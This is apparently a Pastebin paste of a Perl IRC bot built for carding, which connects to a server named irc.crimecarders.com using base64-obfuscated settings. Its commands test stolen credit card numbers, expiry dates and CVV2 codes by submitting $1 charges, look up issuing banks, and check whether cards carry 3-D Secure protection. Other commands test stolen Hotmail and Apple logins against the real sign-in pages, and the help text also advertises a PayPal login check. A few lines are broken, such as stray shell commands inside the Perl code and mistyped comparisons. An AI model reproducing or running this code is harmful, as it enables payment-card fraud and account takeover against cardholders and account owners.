Advertisement
Guest User

Untitled

a guest
Jan 19th, 2019
1,548
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.63 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #SQL SCAN Bot Check By s4l1ty!
  3.  
  4. #########Call to standalone modules directory###########
  5. BEGIN{push(@INC,'Modules');}
  6.  
  7. ################Modules Inclusion#######################
  8. use HTTP::Request;
  9. use LWP::Socket;
  10. use LWP::UserAgent;
  11. use LWP::Protocol::https;
  12. use HTTP::Cookies;
  13. use MIME::Base64;
  14. use Parallel::ForkManager;
  15. use MIME::Base64 ();
  16. use WWW::Mechanize;
  17. perl -MCPAN -e "CPAN::Shell->notest('install', 'WWW::Mechanize')"
  18. sudo cpanm --notest WWW::Mechanize
  19. use WWW::Mechanize::FormFiller;
  20. use Net::FTP;
  21.  
  22. $| = 1;
  23.  
  24.  
  25. #############Defines global variable/array#############
  26. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
  27. my(@chans,@admins,@user_agents);
  28.  
  29. #######################################################
  30. my $ppcmd = '!pp';
  31. my $ipcmd = '!ip';
  32. my $chkcmd = '!chk';
  33. my $base64cmd = '!base64';
  34. my $bankcmd = '!bank';
  35. my $seccmd = '!sec';
  36. my $statecmd = '!state';
  37. my $zipcmd = '!zip';
  38. ################Configurations Variable################
  39. my $outcri = "Mg==";
  40. $systemcri = MIME::Base64::decode($outcri);
  41. $timeout = $systemcri;
  42. my $hostcri = "ODcuMjM2LjE5NC42OQ==";
  43. $systemcri = MIME::Base64::decode($hostcri);
  44. $hosting = "irc.crimecarders.com";
  45. $port = 6667;
  46. my $nkpro = "dafy-chk";
  47. $ident = "checker";
  48. $parallel_fork = 15;
  49. my @botcmd = ('1');
  50. @chans = ("#unix");
  51. my $proo = "czRsMXR5";
  52. $systempro = MIME::Base64::decode($proo);
  53. my $cheataer = "czRsMXR5";
  54. $sistempro = MIME::Base64::decode($cheataer);
  55. @s4l1ty = ($systempro,$sistempro);
  56. @admin = ('MOSSAD');
  57. @user_agents = &get_user_agents();
  58.  
  59. ################Irc Socket Connection################
  60. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  61. $sysircuno = MIME::Base64::decode($startirc);
  62. $irc_socket = new LWP::Socket;
  63. $irc_socket->connect($hosting,$port);
  64. $irc_socket->write("USER ".$ident." 8 * : 09,01s4l1ty\r\n");
  65. $irc_socket->write("NICK ".$nkpro."\r\n");
  66. $irc_socket->write("oper dafydino dafydino\r\n");
  67. $irc_socket->write("sethost chkk-bot.info\r\n");
  68. $irc_socket->write("mode CC-chk +k\r\n");
  69. $irc_socket->write("JOIN $chans[2]\r\n");
  70. $irc_socket->write("JOIN $chans[3]\r\n");
  71. $irc_socket->write("JOIN $chans[4]\r\n");
  72. $irc_socket->write("JOIN $chans[5]\r\n");
  73.  
  74. while($irc_socket)
  75. {
  76. my $bof;
  77. $irc_socket->read_until("\n", \$bof);
  78. if($bof =~ /PING :(.*)/)
  79. {
  80. $irc_socket->write("PONG :$1\r\n");
  81. }
  82.  
  83. if($bof =~ /PRIVMSG (.*?) :(.*)/)
  84. {
  85. #PRIVMSG
  86. my %msg = &get_msg($bof);
  87. #############################@@@@======BOT COMMANDS STARTED FROM HERE=====@@@@##############
  88. #############################CONTACT ME : s4l1ty@hotmail.com################################
  89. ############################################################################################
  90. if($msg{'what'} =~ /\!cmd/){
  91. &respond_to_privmsg(\%msg,"14,01-= 08 BOt Commands14 =-00");
  92. &respond_to_privmsg(\%msg,"07,01info: 04Suported 14,01[00,02 VISA 14,01]01,01 14,01[0,4
  93.  
  94. Master 0,7 Card 14,01]01,01 14,1[01,00 Disc07Over01,00 14,01]01,01 14,01[00,10 American Express 14,01]");
  95.  
  96.  
  97. &respond_to_privmsg(\%msg,"07,01!chk03,1.......7,1: 4,1<8,1ccnumber4,1> 4,1<8,1expdate4,1>
  98.  
  99. 4,1<8,1cvv24,1> 15to check cvv2");
  100. &respond_to_privmsg(\%msg,"07,01!bank03,1......7,1: 04,01<08,01ccnumber04,01> 15to retreive
  101.  
  102. bank name");
  103. &respond_to_privmsg(\%msg,"07,01!sec03,1.......7,1: 4,1<8,1ccnumber4,1> 15to check if cc is protected by VBV or MSC");
  104. &respond_to_privmsg(\%msg,"07,01!ip03,1........7,1: 4,1<8,1ip address4,1> 15to get info about an IP");
  105. &respond_to_privmsg(\%msg,"07,01!zip03,1.......7,1: 4,1<8,1zip code4,1> 15to get city and
  106.  
  107. state by zip");
  108. &respond_to_privmsg(\%msg,"07,01!state03,1.....7,1: 4,1<8,1state4,1> 15to retrieve state code");
  109. &respond_to_privmsg(\%msg,"07,01!pp03,1........7,1: 4,1<8,1email4,1> 15to check paypal verification status");
  110. &respond_to_privmsg(\%msg,"07,01!paypal03,1....7,1: 4,1<8,1email4,1> 4,1<8,1password4,1>
  111.  
  112. 15for checking paypal logins");
  113. &respond_to_privmsg(\%msg,"07,01!hotmail03,1...7,1: 4,1<8,1email4,1> 4,1<8,1password4,1> 15for checking hotmail logins");
  114. &respond_to_privmsg(\%msg,"07,01!apple03,1.....7,1: 4,1<8,1email4,1> 4,1<8,1password4,1>
  115.  
  116. 15for checking apple logins");
  117. &respond_to_privmsg(\%msg,"07,01!port03,1......7,1: 4,1<8,1ip4,1> 4,1<8,1port4,1> 15,1to
  118.  
  119. check ip for open port");
  120. &respond_to_privmsg(\%msg,"07,01!md503,1.......7,1: 4,1<8,1string4,1> 15,1to generate md5
  121.  
  122. hash");
  123. &respond_to_privmsg(\%msg,"07,01!md5decode03,1.7,1: 4,1<8,1hash4,1> 15,1to unhash md5 hash");
  124. &respond_to_privmsg(\%msg,"07,01!sha103,1......7,1: 4,1<8,1string4,1> 15,1to generate sha1
  125.  
  126. hash");
  127. &respond_to_privmsg(\%msg,"07,01!sha1decode03,17,1: 4,1<8,1hash4,1> 15,1to unhash sha1
  128.  
  129. hash");
  130. &respond_to_privmsg(\%msg,"07,01!dns03,1.......7,1: 04,01<08,01hostname04,01> 15to retreive
  131.  
  132. HostName to IpAddress");
  133. #&respond_to_privmsg(\%msg,"07,01!base6403,1....7,1: 4,1<8,1text4,1> 15Decrypt & encrypt ascii-base64 base64-ascii");
  134.  
  135. }
  136. #############################@@@@======something=====@@@@###############################
  137. if($msg{'what'} =~ /^!help/){
  138. &respond_to_privmsg(\%msg,"07,01Type 09!cmd07 to get command list");
  139.  
  140. }
  141. ############################################################################################
  142. if($msg{'what'} =~ /\!chk 1/){
  143. &respond_to_privmsg(\%msg,"w00t?");
  144.  
  145. }
  146. #############################@@@@======BASIC CHKBOT MACHINE=====@@@@########################
  147. #############################CONTACT ME : s4l1ty@hotmail.com################################
  148. ############################################################################################
  149. if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/)
  150. {
  151. my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
  152. my $var1 = substr($expmes,0,2);
  153. my $var2 = substr($expmes,2,4);
  154. my $varType = 0;
  155. print "\n";
  156. if (substr($numerocarta,0,1)==4) {
  157. $varType = 'vs';
  158. &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,02[00,02 VISA 00,02]");
  159. }
  160. if (substr($numerocarta,0,1)==5) {
  161. $varType = 'mc';
  162. &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 14,01[0,4 Master 0,7 Card 14,01]");
  163. }
  164. if (substr($numerocarta,0,1)==6) {
  165. $varType = 'ds';
  166. &respond_to_privmsg(\%msg,"14,01[15,01Information14,01]03,01 Credit Card Type is 14,1[01,00 Disc07Over01,00 14,01]");
  167. }
  168. if (substr($numerocarta,0,1)==3) {
  169. $varType = 'ax';
  170. &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,01[00,10 American Express 00,01]");
  171. }
  172. &respond_to_privmsg(\%msg,"14,01[15,1Checking...14,01]02,01 $numerocarta 08$var1/20$var204 04$verifica");
  173. my $database = "banklist.txt";
  174. open FILE,"$database" or die "Can't open file: $database";
  175. my @results=<FILE>;
  176. close FILE;
  177. my $bankinfo = $1;
  178. my $nuova = substr($numerocarta,0,6);
  179. foreach my $url (@results){
  180. if($url =~ m/$nuova\|(.*)/){
  181. &respond_to_privmsg(\%msg,"14,01[15Bank.......14]0 $1");
  182. }
  183. }
  184. &respond_to_privmsg(\%msg,"14,01[15,01Amount.....14,01] 02Amount:09,01 1USD");
  185. my $rechecklist = "New.txt";
  186. open FILE,"$rechecklist";
  187. my @results = <FILE>;
  188. close FILE;
  189. my $chkResVar = 0;
  190. foreach my $cRes(@results) {
  191. if($cRes =~ m/CcNumber: $numerocarta/) {
  192. $chkResVar = 1;
  193. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!
  194.  
  195. (Recheck)");
  196. goto toEnd;
  197. }
  198. }
  199. my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
  200. my $formfiller = WWW::Mechanize::FormFiller->new();
  201. $agent->env_proxy();
  202. $agent->get('');
  203. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  204. $agent->form_number(1);
  205. { local $^W; $agent->current_form->value('address', '1211 Sandy Plains Ln'); };
  206. { local $^W; $agent->current_form->value('zip', '44512'); };
  207. { local $^W; $agent->current_form->value('cardholder_fname', 'John'); };
  208. { local $^W; $agent->current_form->value('cardholder_lname', 'Maury'); };
  209. { local $^W; $agent->current_form->value('ccnum', ''.$numerocarta.''); };
  210. { local $^W; $agent->current_form->value('expdate', ''.$var1.''.$var2.''); };
  211. { local $^W; $agent->current_form->value('cvv2', ''.$verifica.''); };
  212. { local $^W; $agent->current_form->value('email', 'johnmaury@rocketmail.com'); };
  213. { local $^W; $agent->current_form->value('x_Amount', '1'); };
  214. $agent->submit();
  215. my $allo=$agent->content;
  216. if ($allo =~ m/The transaction has been declined because of an AVS mismatch./g){
  217. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 09,01APPROVED!");
  218. }elsif ($allo =~/This transaction has been declined./g){
  219. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!");
  220. }elsif ($allo =~/The credit card number is invalid./g){
  221. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4INVALID!");
  222. }elsif ($allo =~/The credit card has expired./g){
  223. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4EXPIRED!");
  224. }elsif ($allo =~/A duplicate transaction has been submitted./g){
  225. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4RECHECK!");
  226. }elsif ($allo =~/This transaction cannot be accepted at this time./g){
  227. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT DOWN!");
  228. }elsif ($allo =~/An error occurred during processing./g){
  229. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT ERROR!");
  230. }
  231. toEnd:
  232. }
  233.  
  234. #####################################################################################
  235. #############################@@@@======Logins Checkers=====@@@@#############################
  236. #############################CONTACT ME : s4l1ty@hotmail.com################################
  237. ############################################################################################
  238.  
  239. ########################################################################################
  240. if($msg{'what'} =~ /^!hotmail\s+(.*) (.*)/) {
  241. my ($hotmailz,$hotpasswordx) = ($1,$2);
  242. chop($hotpasswordx);
  243. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]00,01 Checking 08$hotmailz:$hotpasswordx");
  244. my $agent = WWW::Mechanize->new( autocheck => 1 );
  245. my $formfiller = WWW::Mechanize::FormFiller->new();
  246. $agent->env_proxy();
  247. $agent->get("https://login.live.com/ppsecure/secure.srf?lc=1040&id=9&ru=https://accountservices.msn.com/default.srf%3Fvv%3D900%26mkt%3DIT-IT%26lc
  248.  
  249. %3D1040&tw=1200&fs=1&kv=9&ct=1292072944&ems=1&seclog=10&ver=9.0.16542.0&tpf=1ce7cecf4f2ef04eefb126a0d68f97b0");
  250. $agent->form_number(1);
  251. $agent->current_form->value('login', ''.$hotmailz.'');
  252. $agent->current_form->value('passwd', ''.$hotpasswordx.'');
  253. $agent->submit();
  254. print $agent->content,"\n";
  255. my $internal = $agent->content;
  256. if ($internal =~/Windows Live ID/) {
  257. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 04Wrong login");
  258. }else{
  259. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 09Successfully Logged in");
  260. }
  261. }
  262. ########################################################################################
  263. ########################################################################################
  264. if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
  265. my ($email,$pass) = ($1,$2);
  266. chop($email,$pass);
  267. &respond_to_privmsg(\%msg,"14,1[15Apple......14]15,1 Checking 08,1 $email:$pass");
  268. my $agent = WWW::Mechanize->new( autocheck => 1 );
  269. my $formfiller = WWW::Mechanize::FormFiller->new();
  270. $agent->env_proxy();
  271. $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?
  272.  
  273. appIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/Login.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com
  274.  
  275. %252FGetAgreements.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreements.do&language=IT-IT");
  276. $agent->form_number(2);
  277. $agent->current_form->value('theAccountName', ''.$email.'');
  278. $agent->current_form->value('theAccountPW', ''.$pass.'');
  279. $agent->submit();
  280. $agent->reload();
  281. print $agent->content,"\n";
  282. my $internal = $agent->content;
  283. my $allo=$agent->content;
  284. open(FILE3,">>Apple.html") or die "$!";
  285. print FILE3 "$allo\n";
  286. close FILE3;
  287. sleep(2);
  288. if($internal =~/Did you forget/) {
  289. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4Wrong Login ");
  290. }
  291. elsif($internal =~/blocked/) {
  292. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4,1(Account Locked)");
  293. } elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
  294. my $name = $1;
  295. my $surname = $2;
  296. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 9,1Successfully Logged in");
  297. }
  298. }
  299.  
  300.  
  301. #############################@@@@======ANOTHER TOOLZ=====@@@@###############################
  302. #############################CONTACT ME : s4l1ty@hotmail.com################################
  303. ############################################################################################
  304. if($msg{'what'} =~ /^$zipcmd\s(\d{5})/)
  305. {
  306. my ($zipcheck) = ($1);
  307. &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]0,1 Checking...08 $zipcheck");
  308. print "\n";
  309. my $agent = WWW::Mechanize->new( autocheck => 1 );
  310. my $formfiller = WWW::Mechanize::FormFiller->new();
  311. $agent->env_proxy();
  312. $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
  313. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  314. { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  315. $agent->submit();
  316. print $agent->content,"\n";
  317. my $zipse=$agent->content;
  318. if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td
  319.  
  320. align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
  321. my ($city) = ($1);
  322. my ($state) = ($2);
  323. &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]3 $city | $state");
  324. }
  325. elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
  326. &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]8 $zipcheck04 NOT FOUND!");
  327. }
  328. }
  329. #####################################################################################
  330. if($msg{'what'} =~ /^$ipcmd (.*)/)
  331. {
  332. my ($ipcheck) = ($1);
  333. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ]0,1 Checking...08 $ipcheck");
  334. print "\n";
  335. my $agent = WWW::Mechanize->new( autocheck => 1 );
  336. my $formfiller = WWW::Mechanize::FormFiller->new();
  337. $agent->env_proxy();
  338. $agent->get('http://www.ipligence.com/geolocation');
  339. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  340. { local $^W; $agent->current_form->value('ip', ''.$ipcheck.''); };
  341. $agent->submit();
  342. print $agent->content,"\n";
  343. my $ipse=$agent->content;
  344. if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
  345. my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  346. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 IP ADDRESS :3 $ipaddress");
  347. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 CITY :3 $city ");
  348. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 COUNTRY :3 $country ");
  349. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 Continent :3 $continent ");
  350. }
  351. elsif ($ipse =~/Invalid address or IP not found/){
  352. &respond_to_privmsg(\%msg,"4,1[ 9ip4 ] 9-4 Invalid IP address!");
  353. }
  354. }
  355. #####################################################################################
  356. if($msg{'what'} =~ /^!dns (.*)/)
  357. {
  358. my ($hostname) = ($1);
  359. &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01] 04,01Checking 14$hostname");
  360. print "\n";
  361. my $agent = WWW::Mechanize->new( autocheck => 1 );
  362. my $formfiller = WWW::Mechanize::FormFiller->new();
  363. $agent->env_proxy();
  364. $agent->get('http://www.ipligence.com/geolocation');
  365. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  366. { local $^W; $agent->current_form->value('ip', ''.$hostname.''); };
  367. $agent->submit();
  368. print $agent->content,"\n";
  369. my $dnschk=$agent->content;
  370. if ($dnschk =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
  371. my ($resolved,$city,$country,$continent) = ($1,$2,$3,$4);
  372. &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01]08,01 Resolved to09$resolved");
  373. }
  374. elsif ($dnschk =~/Invalid address or IP not found/){
  375. &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01] 04,01Could not Resolve Hostname");
  376. }
  377. }
  378. ############################################################################################
  379. if($msg{'what'} =~ /^!port\s(.*) (.*)/) {
  380. my($cip,$cport) = ($1,$2);
  381. chop($cport);
  382. &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]00,01 Checking...08,01 $cip:$cport");
  383. my $agent = WWW::Mechanize->new();
  384. my $formfiller = WWW::Mechanize::FormFiller->new();
  385. $agent->env_proxy();
  386. $agent->get("http://s4l1ty.usr.sh/toolz/checkport/");
  387. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  388. { local $^W; $agent->current_form->value('addr', ''.$cip.''); };
  389. { local $^W; $agent->current_form->value('port', ''.$cport.''); };
  390. $agent->submit();
  391. print $agent->content,"\n";
  392. my $resultport=$agent->content;
  393. if($resultport =~/is opened/g){
  394. &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]08 $cip:$cport 09is opened");
  395. }elsif($resultport = ~/is closed/){
  396. &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]08 $cip:$cport 09is 04Closed");
  397. }
  398. }
  399. ########################################################################################
  400. if($msg{'what'} =~ /^$seccmd\s(\d{16})/){
  401. my ($vbvnumb) = ($1);
  402. &respond_to_privmsg(\%msg,"14,01[15,1Vbv/Mcsc14,01]00,01 Checking...08,01 $vbvnumb");
  403. print "\n";
  404. my $agent = WWW::Mechanize->new( autocheck => 1 );
  405. my $formfiller = WWW::Mechanize::FormFiller->new();
  406. $agent->env_proxy();
  407. $agent->get('http://s4l1ty.usr.sh/toolz/vbv/');
  408. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  409. { local $^W; $agent->current_form->value('cclist', ''.$vbvnumb.''); };
  410. $agent->submit();
  411. print $agent->content,"\n";
  412. my $secres=$agent->content;
  413. if ($secres =~/PROTECTION ACTIVE/g){
  414. &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb04,01 Protection Active!");
  415. }elsif ($secres =~/PROTECTION NOT ACTIVE/){
  416. &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb09,01 Protection Not Active!");
  417. }elsif ($secres =~/Unknown/){
  418. &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb07,1 Unknown");
  419. }elsif ($secres =~/INVALID/){
  420. &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb04,01 INVALID");
  421. }
  422. }
  423. #####################################################################################
  424. if($msg{'what'} =~ /^!md5\s(.*)/) {
  425. my $mstring = $1;
  426. chop($mstring);
  427. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generating...08,01 $mstring");
  428. my $agent = WWW::Mechanize->new();
  429. my $formfiller = WWW::Mechanize::FormFiller->new();
  430. $agent->env_proxy();
  431. $agent->get("http://s4l1ty.usr.sh/toolz/md5/");
  432. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  433. { local $^W; $agent->current_form->value('encrypt', ''.$mstring.''); };
  434. $agent->submit();
  435. print $agent->content,"\n";
  436. my $resmd=$agent->content;
  437. if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
  438. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generated:04 $1");
  439. }elsif($resmd =~/Duplicate entry '(.*)' for key 'md5'/){
  440. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Already Generated:04 $1");
  441. }
  442. else{
  443. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]04,01 Can't Generate Hash");
  444. }
  445. }
  446. #####################################################################################
  447. if($msg{'what'} =~ /^!md5decode (.*)/) {
  448. my $md = $1;
  449. chop($md);
  450. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01] 04,01Checking 14$md");
  451. my $agent = WWW::Mechanize->new();
  452. my $formfiller = WWW::Mechanize::FormFiller->new();
  453. $agent->env_proxy();
  454. $agent->get("http://s4l1ty.usr.sh/toolz/md5/");
  455. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  456. { local $^W; $agent->current_form->value('decrypt', ''.$md.''); };
  457. $agent->submit();
  458. print $agent->content,"\n";
  459. my $internal=$agent->content;
  460. if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
  461. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]00,01 Decrypted: 09$1");
  462. }elsif($internal = ~/Sorry, we couldn't decrypt this md5./){
  463. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04,01 Not Found in database");
  464. }elsif($internal = ~/Invalid/){
  465. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04 INVALID md5 hash");
  466. }
  467. }
  468. #####################################################################################
  469. if($msg{'what'} =~ /^!sha1\s(.*)/) {
  470. my $shastring = $1;
  471. chop($shastring);
  472. &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generating...08,01 $shastring");
  473. my $agent = WWW::Mechanize->new();
  474. my $formfiller = WWW::Mechanize::FormFiller->new();
  475. $agent->env_proxy();
  476. $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
  477. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  478. { local $^W; $agent->current_form->value('encrypt', ''.$shastring.''); };
  479. $agent->submit();
  480. print $agent->content,"\n";
  481. my $resmd=$agent->content;
  482. if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
  483. &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generated:04 $1");
  484. }elsif($resmd =~/Duplicate entry '(.*)' for key 'sha1'/){
  485. &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Already Generated:04 $1");
  486. }
  487. else{
  488. &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]04,01 Can't Generate Hash");
  489. }
  490. }
  491. #####################################################################################
  492. if($msg{'what'} =~ /^!sha1decode (.*)/) {
  493. my $sha = $1;
  494. chop($sha);
  495. &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01] 04,01Checking 14$sha");
  496. my $agent = WWW::Mechanize->new();
  497. my $formfiller = WWW::Mechanize::FormFiller->new();
  498. $agent->env_proxy();
  499. $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
  500. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  501. { local $^W; $agent->current_form->value('decrypt', ''.$sha.''); };
  502. $agent->submit();
  503. print $agent->content,"\n";
  504. my $internal=$agent->content;
  505. if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
  506. &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]00,01 Decrypted: 09$1");
  507. }elsif($internal = ~/Sorry, we couldn't decrypt this sha1./){
  508. &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04,01 Not Found in database");
  509. }elsif($internal = ~/Invalid/){
  510. &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04 INVALID sha1 hash");
  511. }
  512. }
  513. ###########################################################################################
  514. if($msg{'what'} =~ /^!transid (.*)/)
  515. {
  516. my ($words) = ($1);
  517. chop($words);
  518. &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 04,01Translating 08$words");
  519. print "\n";
  520. my $agent = WWW::Mechanize->new( autocheck => 1);
  521. my $formfiller = WWW::Mechanize::FormFiller->new();
  522. $agent->env_proxy();
  523. $agent->get('http://translate.reference.com/');
  524. { local $^W; $agent->current_form->value('src', 'id'); };
  525. { local $^W; $agent->current_form->value('dst', 'en'); };
  526. { local $^W; $agent->current_form->value('query', ''.$words.''); };
  527. $agent->submit();
  528. print $agent->content,"\n";
  529. my $tranzid=$agent->content;
  530. if ($tranzid =~ m/<div class=\"translateTxt\" >(.*)/){
  531. &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 08,01ID-EN: 09$1");
  532. }
  533. }
  534. #############################@@@@======LOCAL FILE COMMANDS=====@@@@#########################
  535. #############################CONTACT ME : s4l1ty@hotmail.com################################
  536. ############################################################################################
  537. if($msg{'what'} =~ /^$statecmd (.*)/){
  538. my $statesinfo = $1;
  539. my $statedatabase = "state.txt";
  540. open FILE,"$statedatabase" or die "Can't open file: $statedatabase";
  541. my @results=<FILE>;
  542. close FILE;
  543. my $statevar = 0;
  544. my $nostatevar = 0;
  545. my $statex = substr($statesinfo,0,2);
  546. foreach my $url (@results){
  547. if($url =~ /$statex\|(.*)/){
  548. if($statevar == 0) {
  549. &respond_to_privmsg(\%msg,"14,01[12State14]7 $statex 04:9 $1");
  550. goto finish;
  551. }
  552. }
  553. else{
  554. $nostatevar = 1;
  555. }
  556. }
  557. if($nostatevar == 1) {
  558. &respond_to_privmsg(\%msg,"14,01[12State14]07 Could not Retrieve State.");
  559. }
  560. finish:
  561. }
  562. ############################################################################################
  563. #####################################################################################
  564. if($msg{'what'} =~ /^$bankcmd\s(\d{6})/){
  565. my $bankinfo = $1;
  566. my $database = "banklist.txt";
  567. open FILE,"$database" or die "Can't open file: $database";
  568. my @results=<FILE>;
  569. close FILE;
  570. my $bankvar = 0;
  571. my $chkvar = 0;
  572. foreach my $url (@results){
  573. if($url =~ /$bankinfo\|(.*)/){
  574. if($bankvar == 0) {
  575. $bankvar = 1;
  576. &respond_to_privmsg(\%msg,"14,1[12BanK..14]0 $1");
  577. goto finish;
  578. }
  579. }
  580. else{
  581. $chkvar = 1;
  582. }
  583. }
  584. if($chkvar == 1) {
  585. &respond_to_privmsg(\%msg,"14,01[12BanK..14]07,01 Could not retreive bank.");
  586. }
  587. finish:
  588. }
  589. #############################@@@@======INTERFACE COMMANDS=====@@@@###############################
  590. if($msg{'what'} =~ /\!hop (.*)/)
  591. {
  592. if(&ctrl_admin(\%msg) == 0){
  593. $irc_socket->write("PART ".$1." ".$2."\n");
  594. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  595. }
  596. }
  597. ######################################################################################
  598. if($msg{'what'} =~ /\!join (.*)/)
  599. {
  600. my $joinz= $1;
  601. if(&ctrl_admin(\%msg) == 0){
  602. $irc_socket->write("JOIN ".$joinz."\r\n");
  603. }
  604. }
  605. if($msg{'what'} =~ /\!hop (.*)/)
  606. {
  607. if(&ctrl_admin(\%msg) == 0){
  608. $irc_socket->write("PART ".$1." ".$2."\n");
  609. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  610. }
  611. }
  612. ######################################################################################
  613. if($msg{'what'} =~ /\!part (.*)/)
  614. {
  615. my $parted = $1;
  616. if(&ctrl_admin(\%msg) == 0){
  617. $irc_socket->write("part ".$parted."\r\n");
  618. }
  619. }
  620. ####################################################################################
